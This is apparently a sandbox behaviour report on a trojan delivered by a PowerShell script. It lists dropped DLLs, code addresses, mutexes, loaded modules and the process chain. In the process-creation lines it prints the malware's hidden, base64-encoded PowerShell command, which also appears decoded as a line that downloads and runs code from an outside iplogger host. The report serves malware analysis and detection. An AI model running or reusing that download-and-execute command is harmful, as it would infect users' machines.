Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B502F06	4_2_00007FFB4B502F06
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B504E1A	4_2_00007FFB4B504E1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B500A69	4_2_00007FFB4B500A69
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Code function: 7_2_004014BC	7_2_004014BC
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Code function: 7_2_00401120	7_2_00401120
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0033B730	12_2_0033B730
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0033BEF0	12_2_0033BEF0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00335000	12_2_00335000
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00365060	12_2_00365060
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035C0B5	12_2_0035C0B5
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_003380B0	12_2_003380B0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0036E080	12_2_0036E080
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0034B225	12_2_0034B225
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00364320	12_2_00364320
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0036E370	12_2_0036E370
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035F36E	12_2_0035F36E
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_003363C0	12_2_003363C0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0034C430	12_2_0034C430
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00362467	12_2_00362467
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00360450	12_2_00360450
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00350480	12_2_00350480
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035C4D9	12_2_0035C4D9
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035E502	12_2_0035E502
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00364580	12_2_00364580
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035B696	12_2_0035B696
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_003396F0	12_2_003396F0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0036373B	12_2_0036373B
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00338750	12_2_00338750
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00349871	12_2_00349871
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00359846	12_2_00359846
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_003598B8	12_2_003598B8
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035A8AF	12_2_0035A8AF
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_003598FB	12_2_003598FB
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035F908	12_2_0035F908
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00369940	12_2_00369940
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035E9A1	12_2_0035E9A1
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00335A20	12_2_00335A20
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035CA6D	12_2_0035CA6D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00337B60	12_2_00337B60
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00355BFE	12_2_00355BFE
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00338BE0	12_2_00338BE0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00334C30	12_2_00334C30
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035BC61	12_2_0035BC61
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00358CB7	12_2_00358CB7
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00354CC0	12_2_00354CC0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0036DD70	12_2_0036DD70
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0033DD60	12_2_0033DD60
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00359E02	12_2_00359E02
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00336E70	12_2_00336E70
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035CEEB	12_2_0035CEEB
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_0035DEEB	12_2_0035DEEB
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 12_2_00348FD6	12_2_00348FD6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\file\Set-up.exe 46AFBF1CBD2E1B5E108C133D4079FADDC7347231B0C48566FD967A3070745E7F
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll 73E67B8A6607064C314B0A5D72DEF055AE0599BEAE1E7073D7A10626543D7FD0

Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: String function: 0033A1D0 appears 86 times
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: String function: 0033A940 appears 107 times

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1404

Source: StrCmp.exe, 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: @*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp 0l
Source: StrCmp.exe	Binary or memory string: @*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp
Source: Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, StrCmp.exe, 00000007.00000000.1802223672.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, StrCmp.exe, 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: @`@*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp

Source: classification engine

Classification label: mal100.troj.evad.winPS1@17/498@7/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7156
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3344:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fymvsvd.bk5.ps1

Jump to behavior

Source: Yara match	File source: 6.0.Set-up.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.1796200865.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, type: DROPPED

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1404
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1336
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
